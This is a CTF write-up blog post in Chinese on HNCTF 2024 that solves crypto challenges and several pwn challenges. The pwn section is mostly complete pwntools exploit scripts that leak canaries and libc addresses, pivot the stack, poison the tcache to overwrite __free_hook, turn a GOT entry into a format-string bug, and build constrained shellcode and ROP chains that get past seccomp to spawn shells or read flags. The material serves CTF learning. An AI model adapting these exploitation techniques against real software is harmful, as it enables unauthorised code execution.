[HNCTF 2024] crypto/pwn

news2024/11/23 12:53:52

周日的比赛,赛后拿别人的WP又作了俩,最后一个题也是没弄懂,先记一下吧。

Crypto

EZmath

一个简单的函数题。在sagemath里有个two_squares函数,可以从平方和恢复两个规模相近的数。这种比较适合于RSA里的p,q。另外未知的e用来猜,一点意思都没有。

from Crypto.Util.number import *
flag = b'Kicky_Mu{KFC_v_me_50!!!}'
p = getPrime(256)
q = getPrime(256)
n = p*q^3
e = # what is usually used ?
N = pow(p, 2) + pow(q, 2)
m = bytes_to_long(flag)
c = pow(m,e,n)

print(c)
print(N)

c = 34992437145329058006346797890363070594973075282993832268508442432592383794878795192132088668900695623924153165395583430068203662437982480669703879475321408183026259569199414707773374072930515794134567251046302713509056391105776219609788157691337060835717732824405538669820477381441348146561989805141829340641
N = 14131431108308143454435007577716000559419205062698618708133959457011972529354493686093109431184291126255192573090925119389094648901918393503865225710648658
e = 65537
p,q = two_squares(N)
m = pow(c, inverse(e,(p-1)*(q-1)),p*q)
long_to_bytes(int(m))
#b'H&NCTF{D0_Y0u_know_Complex_n3mbers?hahaha}'

f = (? * ?)

给了3个文件,一个cipher.txt猜是密文(这也不用猜)另外两个都有400多行,猜是p,q的位,显然可以很容易区分0,1。然后再猜个e。为什么总让猜e?

from Crypto.Util.number import *
from base64 import *

c = bytes_to_long(b64decode('ve9MPTSrRrq89z+I5EMXZg1uBvHoFWBGuzxhSpIwu9XMxE4H2f2O3l+VBt4wR+MmPJlS9axvH9dCn1KqFUgOIzf4gbMq0MPtRRp+PvfUZWGrJLpxcTjsdml2SS5+My4NIY/VbvqgeH2qVA=='))

p = int(''.join(['1' if i[0]=='3' else '0' for i in open('file1.txt','r').read().split('\n') ]),2)
q = int(''.join(['1' if i[0]=='6' else '0' for i in open('file2.txt','r').read().split('\n') ]),2)
print(isPrime(p))
m = pow(c, inverse(65537,(p-1)*(q-1)),p*q)
print(long_to_bytes(m))
#H&NCTF{Y0u_s@cce3d3d_in_finding_the_meaning_0f_these_d0cuments}

*ez_Classic

比赛中没作出来,全是中文的乱码,记得作过想不起来了,后来想起来是base65536,解完是另一种乱码。

后来知道是base2048,好在都有在线网站。说起来这个东西python库还会报错。

 

后边是DNA加密,不过在线网站也不大灵了。需要处理一下。其实还不如自己处理,DNA就是4进制的BASE64变表,3个一组。

c ="GAC & GCT CTA GTC CTT { CTA AGT AAA CAG CAG AGA AAG & AGT _ AAG CAC CGA ATT CAT TTC _ AGT CAG _ CAG TTC _ AGA ATC CAT TCG CAC ACA CAG CAT @ ATC ACG }"

dic = 'ACGT'
d = ''
for i in c.split():
    if len(i)==3:
        v = dic.index(i[0])*16 + dic.index(i[1])*4 + dic.index(i[2])
        if v<26:
            d += chr(0x61 + v)
        elif v<52:
            d += chr(0x41 + v-26)
        else:
            d += chr(0x30 + v-52)
    else:
        d += i 

print(d)
#H&NCTF{Classic&l_crypt9_ls_s9_int2rest@ng}

 MatrixRSA

矩阵的RSA,这个没见过,搜了下,得到一个论文。https://www.gcsu.edu/sites/files/page-assets/node-808/attachments/pangia.pdf

里边请到phi的生成。

\phi =(p^{2}-1)(p^{2}-p)(q^{2}-1)(q^{2}-q)

然后就当是普通的RSA作就行了。n很小一切问题都解决了。

from Crypto.Util.number import *
import os

flag = b"H&NCTF{??????????????}" + os.urandom(73)

p = getPrime(56)
q = getPrime(56)
n = p * q

part = [bytes_to_long(flag[13*i:13*(i+1)]) for i in range(9)]

M = Matrix(Zmod(n),[
    [part[3*i+j] for j in range(3)] for i in range(3)
])

e = 65537
C = M ** e
print(f"n = {n}")
print(f"C = {list(C)}")
n = 3923490775575970082729688460890203
C = [(1419745904325460721019899475870191, 2134514837568225691829001907289833, 3332081654357483038861367332497335), (3254631729141395759002362491926143, 3250208857960841513899196820302274, 1434051158630647158098636495711534), (2819200914668344580736577444355697, 2521674659019518795372093086263363, 2850623959410175705367927817534010)]

#https://www.gcsu.edu/sites/files/page-assets/node-808/attachments/pangia.pdf
p,q = 56891773340056609,68964114585148667
phi = (p^2-1)*(p^2-p)*(q^2-1)*(q^2-q)
d = inverse(e,phi)

M = matrix(Zmod(n), C)
m = M^d 

flag = b''
for i in range(3):
    for j in range(3):
        flag+= long_to_bytes(int(m[i,j]))

#H&NCTF{58bff5c1-4d5f-4010-a84c-8fbe0c0f50e8}

BabyAES

就是爆破一个种子。对于4字节整形来说多大都可以整。关键是这题有提示,就是压缩包有文件的时期,这大概就没多大范围了。不过这里又有个问题,就是压缩包里的文件时间比密文生成时间早。它怎么压进去的呢?

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from secret import flag
import time
import random

flag = pad(flag,16)
assert b"H&NCTF" in flag

seed = int(time.time())
random.seed(seed)
key = random.randbytes(16)
iv = random.randbytes(16)
aes = AES.new(key,AES.MODE_CBC,iv)
cipher = aes.encrypt(flag)

print(f"cipher = {cipher}")


cipher = b'\x96H_hz\xe7)\x0c\x15\x91c\x9bt\xa4\xe5\xacwch\x92e\xd1\x0c\x9f\x8fH\x05\x9f\x1d\x92\x81\xcc\xe0\x98\x8b\xda\x89\xcf\x92\x01a\xe1B\xfb\x97\xdc\x0cG'
import random 
from Crypto.Cipher import AES

def decrypt(seed):
    random.seed(seed)
    key = random.randbytes(16)
    iv = random.randbytes(16)
    aes = AES.new(key,AES.MODE_CBC,iv)
    flag = aes.decrypt(cipher)
    if b'CTF' in flag or b'flag' in flag:
        print(seed, flag)

#time.mktime((2020,8,21,7,57,0,0,0,0)) 压缩包文件时间2020/08/21/7/57
seed0 = 1597967820
for i in range(10000):
    decrypt(seed0+i)

#b'H&NCTF{b1c11bd5-2bfc-404e-a795-a08a002aeb87}\x04\x04\x04\x04' 

BabyPQ

这是个签到,给了n,phin求p,突然卡了一下,phin是啥!一般写成phi.把这俩p,q粘上去就OK了。

from z3 import *
s = Solver()
p,q = Ints('p q')
s.add(p*q == n)
s.add((p-1)*(q-1) == phin)
s.check()

s.model()
[p = 12370845391995175823157683147097330251170029016368566631878046736457097428499577053796506306362132716974919832972869704679166006275456266374842381146018047,
 q = 11499958845050907949092531453369314187038648586725679612623212725700789220246787356177904738256529698491399380706600388366483468308822299193842842035815201]

还有一个3解题,两个0解题不会。估计也就不会了。因为拿到WP,那个3解题看不懂。

PWN

close

这个程序不用写的。代码里关了1,只要重定向到0上就OK

└─$ nc hnctf.imxbt.cn 29879
exec 1>&0
ls
bin
dev
easypwn
flag
lib
lib32
lib64
libexec
libx32
cat flag
H-NCTF{ca2cb422-3035-4827-b1e8-2acf3b43ea27}

ez_pwn

32位能溢出到ebp ,输入两次。

int vul()
{
  char s[40]; // [esp+0h] [ebp-2Ch] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

第1次填充到ebp带出,第2次覆盖ebp移栈。

from pwn import *

context(arch='i386', log_level='debug')

'''
0xffffcf94│+0x0000: 0x00000000   ← $esp
0xffffcf98│+0x0004: 0xffffcfa0  →  0x00000a41 ("A\n"?)
0xffffcf9c│+0x0008: 0x00000030 ("0"?)
0xffffcfa0│+0x000c: 0x00000a41 ("A\n"?)
0xffffcfa4│+0x0010: 0x00000000
0xffffcfa8│+0x0014: 0x00000000
0xffffcfac│+0x0018: 0x00000000
0xffffcfb0│+0x001c: 0x00000000
0xffffcfb4│+0x0020: 0x00000000
0xffffcfb8│+0x0024: 0x00000000
0xffffcfbc│+0x0028: 0x00000000
0xffffcfc0│+0x002c: 0x08048670  →  <__libc_csu_init+0> push ebp
0xffffcfc4│+0x0030: 0xf7ffcb80  →  0x00000000
0xffffcfc8│+0x0034: 0x0804a000  →  0x08049f0c  →  0x00000001
0xffffcfcc│+0x0038: 0xffffcfd8  →  0x00000000    ← $ebp
0xffffcfd0│+0x003c: 0x08048661  →  <main+40> mov eax, 0x0
0xffffcfd4│+0x0040: 0xf7e1cff4  →  0x0021cd8c
0xffffcfd8│+0x0044: 0x00000000
0xffffcfdc│+0x0048: 0xf7c23295  →  <__libc_start_call_main+117> add esp, 0x10
0xffffcfe0│+0x004c: 0x00000001
'''

elf = ELF('./pwn1')
#p = process('./pwn1')
p = remote('hnctf.imxbt.cn', 36897)

#gdb.attach(p, "b*0x8048637\nc")
p.sendafter(b'?\n', b'A'*0x2c)
p.recvuntil(b'A'*0x2c)
stack = u32(p.recv(4)) - 0x38

p.sendafter(b'\n', flat(elf.plt['system'],0,stack+0xc, b'/bin/sh\x00').ljust(0x2c,b'\x00')+p32(stack-4))

p.interactive()

idea

负数绕过和短的格式化字符串

int vuln()
{
  int v1; // [esp+8h] [ebp-30h]
  char nptr[32]; // [esp+Ch] [ebp-2Ch] BYREF
  unsigned int v3; // [esp+2Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("How many bytes do you want me to read? ");
  get_n((int)nptr, 4u);
  v1 = atoi(nptr);
  if ( v1 > 32 )
    return printf("No! That size (%d) is too large!\n", v1);// 负数绕过
  puts("Ok, sounds good. I'll give u a gift!");
  gift();                                       // 格式化字符串6字节
  printf("Give me %u bytes of data!\n", v1);
  getchar();
  get_n((int)nptr, v1);
  return printf("What you said is: %s\n", nptr);
}
from pwn import *

context(arch='i386', log_level='debug')

elf = ELF('./idea')
#libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
libc = ELF('/home/kali/glibc/libs/my/libc6-i386_2.23-0ubuntu11.3_amd64.so')

#p = process('./idea')
p = remote('hnctf.imxbt.cn', 45299)

#1
p.sendlineafter(b"How many bytes do you want me to read? ", b'-1')

#leak canary 
p.sendlineafter(b"Ok, sounds good. I'll give u a gift!\n",b'%23$p')
canary = int(p.recvuntil(b"Give me", drop=True),16)
print(f"{canary= :x}")

p.sendlineafter(b"bytes of data!\n", b'A'*0x20+flat(canary,0,0,0,elf.sym['_start']))

#2
p.sendlineafter(b"How many bytes do you want me to read? ", b'-1')

#gdb.attach(p, "b*0x804870b\nc")
#leak libc 
p.sendlineafter(b"Ok, sounds good. I'll give u a gift!\n",b'%31$p')
libc.address = int(p.recvuntil(b"Give me", drop=True),16) - 0x18647
print(f"{libc.address = :x}")
bin_sh = next(libc.search(b'/bin/sh\0')) #libc.address + 0x15910b

p.sendlineafter(b"bytes of data!\n", b'A'*0x20+flat(canary,0,0,0,elf.sym['_start']))

#3 stack
p.sendlineafter(b"How many bytes do you want me to read? ", b'-1')

#leak canary 
#gdb.attach(p, "b*0x804870b\nc")
p.sendlineafter(b"Ok, sounds good. I'll give u a gift!\n",b'%10$p')
stack = int(p.recvuntil(b"Give me", drop=True),16) - 0x2c
print(f"{stack = :x}")
#gdb.attach(p, "b*0x804870b\nc")
#p.sendlineafter(b"bytes of data!\n", b'A'*0x20+flat(canary,0,0,0,elf.plt['puts'],0,elf.got['printf']))
p.sendlineafter(b"bytes of data!\n", b'/bin/sh'.ljust(0x20, b'\x00')+flat(canary,0,0,0,libc.sym['system'],0,bin_sh))

p.interactive()

'''
0xffffcf60│+0x0000: 0x08048800  →  <__libc_csu_init+0> push ebp  ← $esp
0xffffcf64│+0x0004: "%8$p"
0xffffcf68│+0x0008: 0xffffcf00  →  0x00000000
0xffffcf6c│+0x000c: 0xf945c100
0xffffcf70│+0x0010: 0x080488e4  →  "Ok, sounds good. I'll give u a gift!"       #4
0xffffcf74│+0x0014: 0x00000004
0xffffcf78│+0x0018: 0xffffcfb8  →  0xffffcfc8  →  0x00000000     ← $ebp         #ebp
0xffffcf7c│+0x001c: 0x08048781  →  <vuln+116> sub esp, 0x8                      #ret
0xffffcf80│+0x0020: 0xffffcfb8  →  0xffffcfc8  →  0x00000000
0xffffcf84│+0x0024: 0xf7fdb8d0  →  <_dl_runtime_resolve+16> pop edx
0xffffcf88│+0x0028: 0xffffffff
0xffffcf8c│+0x002c: 0xf700312d ("-1"?)                                          #nptr
0xffffcf90│+0x0030: 0x08048800  →  <__libc_csu_init+0> push ebp
0xffffcf94│+0x0034: 0xf7ffcb80  →  0x00000000
0xffffcf98│+0x0038: 0xffffcfb8  →  0xffffcfc8  →  0x00000000
0xffffcf9c│+0x003c: 0x080486b2  →  <init+59> add esp, 0x10
0xffffcfa0│+0x0040: 0x08048880  →  "Welcome to H&NCTF~!"
0xffffcfa4│+0x0044: 0x00000000
0xffffcfa8│+0x0048: 0x00000001
0xffffcfac│+0x004c: 0xf945c100                                                  #canary
0xffffcfb0│+0x0050: 0xffffcff0  →  0xf7e1cff4  →  0x0021cd8c
0xffffcfb4│+0x0054: 0xf7fc1728  →  0xf7ffdbac  →  0xf7fc1840  →  0xf7ffda40  →  0x00000000
0xffffcfb8│+0x0058: 0xffffcfc8  →  0x00000000
0xffffcfbc│+0x005c: 0x080487ee  →  <main+27> add esp, 0x4                       #main_ret
0xffffcfc0│+0x0060: 0x00000001
0xffffcfc4│+0x0064: 0xffffcfe0  →  0x00000001
0xffffcfc8│+0x0068: 0x00000000
0xffffcfcc│+0x006c: 0xf7c23295  →  <__libc_start_call_main+117> add esp, 0x10

'''

what

这也不是个难题,之所以答的人少是因为卡在flag和后台的不一样,然后提供了3种壳,都不是。后来提示改了。官方手抖,在头上输入了个\

libc-2.27 是个最受欢迎的版本。漏洞最好打了,还有UAF。先free 8块得到libc然后tcache attack向free_hook写system再free带/bin/sh的块。

唯一的卡点是个计数。可以忽略。

from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.27.so')

cmd = "Enter your command:\n"
def add(size):
    p.sendlineafter(cmd, b'1')
    p.sendlineafter(b"size:\n", str(size).encode())

def free():
    p.sendlineafter(cmd, b'2')

def show(idx):
    p.sendlineafter(cmd, b'3')
    p.sendafter(b"please enter idx:\n", str(idx).encode())
    p.recvuntil(b"Content:")

def edit(idx, msg):
    p.sendlineafter(cmd, b'4')
    p.sendafter(b"please enter idx:\n", str(idx).encode())
    p.sendafter(b"Please enter your content:\n", msg)


#p = process('./what')
p = remote('hnctf.imxbt.cn', 21554)

for i in range(8):
    add(0x100)

for i in range(8):
    free()

show(0)
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

for i in range(2):
    add(0x20)

free()
edit(1, p64(libc.sym['__free_hook']))
add(0x20)
add(0x20) #2 free_hook
edit(2, flat(libc.sym['system']))
add(0x10)
edit(3, b'/bin/sh\x00')
#gdb.attach(p)
#pause()


free()
p.sendline(b'cat flag')
p.interactive()
#H&NCTF{ef997eaf-df1d-4aed-af33-f57b8afbe678}

beauty

代码很难看。这也是这题唯一的卡点。

一开始让输入名字,这里有个指针前溢出,可以向前写到可写的got表

int sub_156E()
{
  puts("Please input your idx:");
  __isoc99_scanf(&aD, &dword_4164);
  puts("Please input your name:");
  byte_4158[dword_4164] = read(0, byte_40E0, 0x78uLL);
  return printf(&aS, byte_40E0);
}

后边有4个菜单,只有一个有用。这里调用了atoi,通过前边的溢出将未初始化的got表里的atoi改成printf,这样就得到一个格式化字符串漏洞,而且在栈里。这就好办了。

另外一个干扰项就是菜单3有个溢出,可以修改stack_chk_fail在这里造溢出覆盖canary,但由于有检查到不了这。

from pwn import *

context(arch='amd64', log_level='error')
libc = ELF('./libc.so.6')
elf = ELF('./pwn1')

#p = process('./pwn1')
p = remote('hnctf.imxbt.cn', 46327)

#4158[4164]=len
#4060 got.atoi xxx60->printf xxx70
p.sendlineafter(b"Please input your idx:", str(-0xf8).encode())
p.sendafter(b"Please input your name:", b'\x00'*0x70)

def go_printf(pay):
    p.sendlineafter(b'\x99\xe5\xa5\xb3\n', b'4')
    p.recvuntil(b"Would you choose me if you had to do it all over again?\n")
    p.sendline(str(0x79).encode())
    p.sendline(str(0x165).encode())
    p.sendline(str(0x173).encode())
    p.send(pay.ljust(0x20, b'\x00'))

#gdb.attach(p, "b*0x555555555361\nc")

go_printf(b'%11$p,%43$p,%30$p,%13$p,')
p.recvuntil(b'0x')
canary = int(p.recvuntil(b',', drop=True),16)
libc.address = int(p.recvuntil(b',', drop=True),16) - 0x80 - libc.sym['__libc_start_main']
stack = int(p.recvuntil(b',', drop=True),16) - 0x110
elf.address = int(p.recvuntil(b',', drop=True),16) - 0x18b2
print(f"{canary = :x} {libc.address =:x} {stack = :x} {elf.address =:x}")

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])

for i,v in enumerate(rop):
    if v == 0:
        pay = b"%9$hhn".ljust(0x18,b'.') + p64(stack+i)
    else:
        pay = f"%{v}c%9$hhn".encode().ljust(0x18,b'.') + p64(stack+i)
    go_printf(pay)

#jmp_2_return
context.log_level = 'debug'
pay = b'....%9$n'.ljust(0x18,b'.') + p64(elf.address + 0x4160)
go_printf(pay)
p.sendline(b'cat flag')

p.interactive()

*hide_flag_

这题赛后问师傅,说打call。

是个shellcode题,难点在于检查一定要偶奇偶奇。syscall 0f05就用不上了,好在有call rax,call rcx。

然后原理就简单了,只是作起来麻烦。在没看WP的情况下自己终于弄出来了。再看WP发再方法不很聪明。

1,利用栈残留的数据通过加减行在rax造个open/getdents64/write然后是重来造个open/pread64/write

2,运行完一个call后最后的地址会在rcx里

3,偶数和可数的填充用nop,gs,我用的cmp就是长点,好在容易理解,还有个cdq这会破坏rdx,如果在rdx不用的情况下可行。因为不清楚gs是干什么的,不敢用,类似的cmc,cld还有好多都不敢用。

4,shl rax,7;xchg rax,rcx;sub rax,rcx 也是一种造指针的方法

from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

#p = process('./pwn1')
p = remote('hnctf.imxbt.cn', 43649)

'''
pay = ''
#rax + 0xea750
pay += 'pop rax;pop rcx;pop rax;pop rcx; pop rax; pop rcx;'  #rax = 0x00007ffff7c29d90
pay += 'add rax,0x010ea76e; sub rax,0x01000100; add rax,0x71; add rax,0x73; '  #rax + 0xf4d10
pay += 'sub al,0x1; sub al,0x1;'  #rax = open
pay += 'push 0x2f; push rsp; pop rdi; '  #rdi->.
pay += 'xor rsi,rsi; cmp eax,0x33323130; push rdx; ' #rsi = 0
#open(buf,0)
pay += 'call rax;'  #call rax

#getdents64(int fd, void dirp[.count], size_t count)
pay += 'push rcx; push rax; pop rdi; ' #rdi=3
#rax = rcx - 0x2df0b 
pay += 'pop rax; cmp eax,0x33323130; sub rax,0x0102df0a; add rax,0x01000100; sub rax, 0x71;sub rax, 0x71; sub al,0x1f;'
pay += 'push rax;push rbp;pop rsi;cdq;'
pay += 'push 0x3; pop rax;cdq; shl rax,9; push rax; cdq; pop rdx; cmp eax,0x33323130; push rdx;' #rdx = 0x600
pay +=   'xchg rax,r14; cmp eax,0x33323130; add ax, 0x0302; push rax; cmp eax,0x33323130; pop rsi;pop rbx;'
pay += 'pop rax; call rax; cmp eax,0x33323130; '

#write
pay += 'push 0x1; nop; pop rdi;'  #rdi=1
#rax = rcx+0x2e229
pay += 'xchg rax,rcx; add rax,0x0102e328; sub rax,0x01000100; add al,0x1;'
pay += 'nop; call rax;'
'''

#F1@g520
#open()
pay = ''
#rax + 0xea750
#       58      59      58      59       58       59 
pay += 'pop rax;pop rcx;pop rax;pop rcx; pop rax; pop rcx;'  #rax = 0x00007ffff7c29d90
#       4805  6ea70e01      482d 00010001       4883c071      4883c073 
pay += 'add rax,0x010ea76e; sub rax,0x01000100; add rax,0x71; add rax,0x73; '  #rax + 0xf4d10
#       2c01        2c01        50       xx
pay += 'sub al,0x1; sub al,0x1; push rax;cmp eax,0x33323130;'  #rax = open
#       48b9 4631 4067 3633 3001    6a01     58      3d 3031 3233       48c1e02d   48c1e003  4891          4829c8      xx
pay += 'mov rcx,0x0130333667403146; push 0x1;pop rax;cmp eax,0x33323130;shl rax,53;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130;'
#       4891          6a01     58      3d 3031 3233       48c1e025   48c1e003  4891          4829c8 
pay += 'xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,37;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; '
pay += 'xchg rax,rcx; push 0x1;pop rax;cmp eax,0x33323130;shl rax,29;shl rax,3;xchg rax,rcx; sub rax,rcx;cmp eax,0x33323130; '
#       56      59      50                            54        5f       4889f0       51
pay += 'pop rsi;pop rcx;push rax; cmp eax,0x33323130; push rsp; pop rdi; mov rax,rsi; push rcx;'  #rdi->F1@g520\0
#       4831f6                           
pay += 'xor rsi,rsi;' #rsi = 0
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax

#pread rax = rcx - 0x1e0b
#       51       58      51        662d001f       4883c059
pay += 'push rcx;pop rax;push rcx; sub ax, 0x1f00;add rax,89;add rax,89; add rax,67;' #rax=pread64
#       6a03    90   5f      6a71      5a      53        90   59       90
pay += 'push 3; nop; pop rdi;push 0x71;pop rdx;push rbx; nop; pop rcx; nop;' #rdi=3, rdx=0x71
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax

#write rax = rcx+0x2126
#       51       58      51        662d2621      
pay += 'push rcx;pop rax;push rcx; add ax, 0x2126;' #rax=pread64
#       6a01   90  5f      90
pay += 'push 1;nop;pop rdi;nop;'
#       ffd0       open(buf,0)
pay += 'call rax;'  #call rax


#gdb.attach(p, "b*0x5555555554a4\nc")
p.sendafter(b"Please find flag's name\n", asm(pay))

p.interactive()
#H-NCTF{H1D3F1@g_d3e9fa6f-5baf-4af6-8c2e-2b7650cd55fa}

*Rand_file_

这个也说不成复现,基本就是拿着WP抄的。因为中间重要的一段不明白。只能照葫芦画。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char v4; // [rsp+Bh] [rbp-25h]
  int i; // [rsp+Ch] [rbp-24h]
  __int64 ptr; // [rsp+10h] [rbp-20h] BYREF
  __int64 v7; // [rsp+18h] [rbp-18h]
  __int64 v8; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 1, 0LL);
  set_rule();
  while ( 1 )
  {
    write(1, "11? >\n", 6uLL);
    v7 = read_long();
    write(1, "77! >\n", 6uLL);
    v8 = read_long();
    if ( !v7 && !v8 )
      break;
    sub_1400(&ptr + v7, &ptr + v8);
  }
  ptr ^= __readfsqword(0x28u);
  for ( i = 0; i <= 3; ++i )                    // ptr逆序
  {
    v4 = *((_BYTE *)&ptr + i);
    *((_BYTE *)&ptr + i) = *((_BYTE *)&ptr + 7LL - i);
    *((_BYTE *)&ptr + 7LL - i) = v4;
  }
  fwrite(&ptr, 1uLL, 8uLL, stdout);
  fflush(stdout);
  write(1, "\n", 1uLL);
  return 0LL;
}

代码就这么一点,先是允许两丙格互换,然后是把ptr的值与canary(特制的无0且对称)异或后反转输出。

目标就是构造个pop_rdi,xxx,gets。

看WP是通过写IO结构,因为不大明白就略了。

泄露这块很容易,拿偏移互换后就能输出,然后把libc_start_main_ret换回到start就能重入。

造gets,pop_rdi这块略,在栈里找个尾号为a或2的位置,把gets的值改造一下写,再与IO_2_1_stdout_+0x28的值换换就换到栈里了,原理不明白。

然后在栈里构造个pop_rdi,栈里可写地址(WP里叫bss不是实际在栈里),gets读入。再把这些rop换到当前的返回地址。再重入

读入的ROP移到返回地址这执行。由于seccomp有限制这里用openat绕过open,用close(2)关掉错误输出把文件打开到2,然后读目录得到文件名。再用相同方法读文件即可。

from pwn import *

context(arch='amd64', log_level='error')
libc = ELF('./libc.so.6')
elf = ELF('./pwn1')

stack_ptr = 0
off = 0xe0
canary = 0
misal = 0 
lastm = 0

def swap(idx1,idx2):
    p.sendlineafter(b'11? >\n', str(idx1).encode())
    p.sendlineafter(b'77! >\n', str(idx2).encode()) 

def stop():
    global stack_ptr
    swap(0,0)
    stack_ptr -= off 
    
def leak(idx, idx2=0):
    swap(5,12) #swap 5,12 return to start
    swap(idx, idx2) 
    stop() 
    return canary^u64(p.recv(8)[::-1])

def change(addr):
    addr = ((addr>>8)&0xff)|((addr&0xff)<<8)
    addr^= canary&0xffff 
    addr = 0x10000 - addr 
    print(f"{-addr = :x}")
    return -addr 

#find an address where last 4bit is 2/10 in stack from *environ
def get_misal():
    global lastm
    for i in range(0x40):
        a = leak((stack_environ - stack_ptr)//8 + lastm + i)
        if a&0xf == 2 or a&0xf == 0xa:
            leak((heap - stack_ptr)//8,0)
            leak((heap - stack_ptr)//8, (stack_environ - stack_ptr)//8 )
            if i>0:
                lastm += i+1
            return a
    else:
        print('Error')
        exit()
    
#p = process('./run')
p = remote('hnctf.imxbt.cn', 20458)

canary = leak(4)
libc.address =  leak(12) - 243 - libc.sym['__libc_start_main']
stack_ptr = leak(7) - 0x118 - off
stack_environ = leak((libc.sym['environ'] - stack_ptr)//8)
heap = leak((libc.sym['obstack_exit_failure']-0x28 - stack_ptr)//8) + 0x2620 #mp_.heap_base  chunk_411.fd
print(f"{canary = :x} {libc.address = :x} {stack_ptr = :x} {stack_environ = :x} {heap = :x}")

stdout_write_ptr = libc.sym['_IO_2_1_stdout_'] + 0x28 
fun_gets = libc.sym['gets']                 # 0x7ffff7e38970
pop_rdi = libc.address + 0x00000000000820ac # 0x7ffff7e370ac pop rdi ; ret
pop_rsi = libc.address + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc.address + 0x0000000000119431 # pop rdx ; pop r12 ; ret
pop_rax = libc.address + 0x0000000000036174 # pop rax ; ret
syscall = libc.sym['getpid'] + 9 # syscall ret

#write gadget to stack
misal = get_misal()
print(f"{misal = :x}")
swap(2, change(fun_gets))
swap(0, change(fun_gets))
swap((misal - 2 - stack_ptr + 8) // 8, 21)
swap((stack_environ - stack_ptr) // 8, (stdout_write_ptr - stack_ptr) // 8)
swap(5, 12)
stop()
off_gets = misal + 6
print(f"{off_gets = :x}")

misal = get_misal()
print(f"{misal = :x}")
swap(2, change(pop_rdi))
swap(0, change(pop_rdi))
swap((misal - 2 - stack_ptr + 8) // 8, 21)
swap((stack_environ - stack_ptr) // 8, (stdout_write_ptr - stack_ptr) // 8)
swap(5, 12)
stop()
off_pop_rdi = misal + 6 
print(f"{off_pop_rdi = :x}")

bss = leak(13) #stack write payload
leak(0, (heap - stack_ptr)//8)
leak((stack_environ - stack_ptr)//8, (heap - stack_ptr)//8 )

context.log_level = 'debug'
print(f"{off_gets = :x} {off_pop_rdi = :x} {stack_environ = :x} {bss = :x}")

#ROP gets
swap(5, (off_pop_rdi - stack_ptr)//8)
swap(6, (stack_environ - stack_ptr)//8)
swap(7, (off_gets  - stack_ptr)//8)
swap(8,12)
stop()

#get_rop  readdir
'''
paylen = 0xf0
pay = flat([
    pop_rdi,2, pop_rax,3, syscall, #close(2)
    pop_rdi,0, pop_rsi, bss+paylen, pop_rdx,0x10000,0, pop_rax,257, syscall, #openat(0,&'.',0x10000)
    pop_rdi,2, pop_rsi, bss+paylen, pop_rdx,0x1000,0, pop_rax,78, syscall, #getdents64(2,&'.', 0x400)
    pop_rdi,1, pop_rax,1, syscall, #write(1,&'.', 0x400)
])
print(f"{len(pay) = :x}")

pay += b'/tmp\0'
'''
paylen = 0xf0
pay = flat([
    pop_rdi,2, pop_rax,3, syscall, #close(2)
    pop_rdi,0, pop_rsi, bss+paylen, pop_rdx,0,0, pop_rax,257, syscall, #openat(0,&'.',0x10000)
    pop_rdi,2, pop_rsi, bss+paylen, pop_rdx,0x50,0, pop_rax,0, syscall, #read(2,&'.', 0x400)
    pop_rdi,1, pop_rax,1, syscall, #write(1,&'.', 0x400)
])
print(f"{len(pay) = :x}")
pay += b'/tmp/flag_6f36aa6e9fe2a6c582bb4d43bca8563a\0'

p.sendline(pay)  #read payload->bss

#gdb.attach(p, "b*0x5555555556e0\nc")

stack_ptr += 0x20 #pop_rdi,bss,gets,start
for i in range(paylen//8):
    swap(5+i, (bss - stack_ptr)//8 +i)

stop()

p.interactive()
#H-NCTF{randfile_1b1f0634-7252-4534-a238-4e5a74042989}
'''
gef➤  tel 20
0x00007fffffffddd0│+0x0000: 0x00007ffff7fa62e8   ← $rsp
0x00007fffffffddd8│+0x0008: 0x00005555555556f0  
0x00007fffffffdde0│+0x0010: 0x0000000000000000   <- ptr
0x00007fffffffdde8│+0x0018: 0x0000555555555200      1
0x00007fffffffddf0│+0x0020: 0x00007fffffffdef0      2
0x00007fffffffddf8│+0x0028: 0xef4e4b9a9a4b4eef      3           canary ABCDDCBA
0x00007fffffffde00│+0x0030: 0x0000000000000000   ←  4     $rbp
0x00007fffffffde08│+0x0038: 0x00007ffff7dd9083  →  <__libc_start_main+243> mov edi, eax   #5
0x00007fffffffde10│+0x0040: 0x00007ffff7ffc620      6
0x00007fffffffde18│+0x0048: 0x00007fffffffdef8      7
0x00007fffffffde20│+0x0050: 0x0000000100000000
0x00007fffffffde28│+0x0058: 0x000055555555553c  →   endbr64 
0x00007fffffffde30│+0x0060: 0x00005555555556f0  →   endbr64 
0x00007fffffffde38│+0x0068: 0x6e0fbb38972b3d66
0x00007fffffffde40│+0x0070: 0x0000555555555200                                            #12 start
0x00007fffffffde48│+0x0078: 0x00007fffffffdef0  →  0x0000000000000001
0x00007fffffffde50│+0x0080: 0x0000000000000000
0x00007fffffffde58│+0x0088: 0x0000000000000000
0x00007fffffffde60│+0x0090: 0x91f044c72b0b3d66
0x00007fffffffde68│+0x0098: 0x91f05483b7453d66

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0e 0xc000003e  if (A != ARCH_X86_64) goto 0016
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
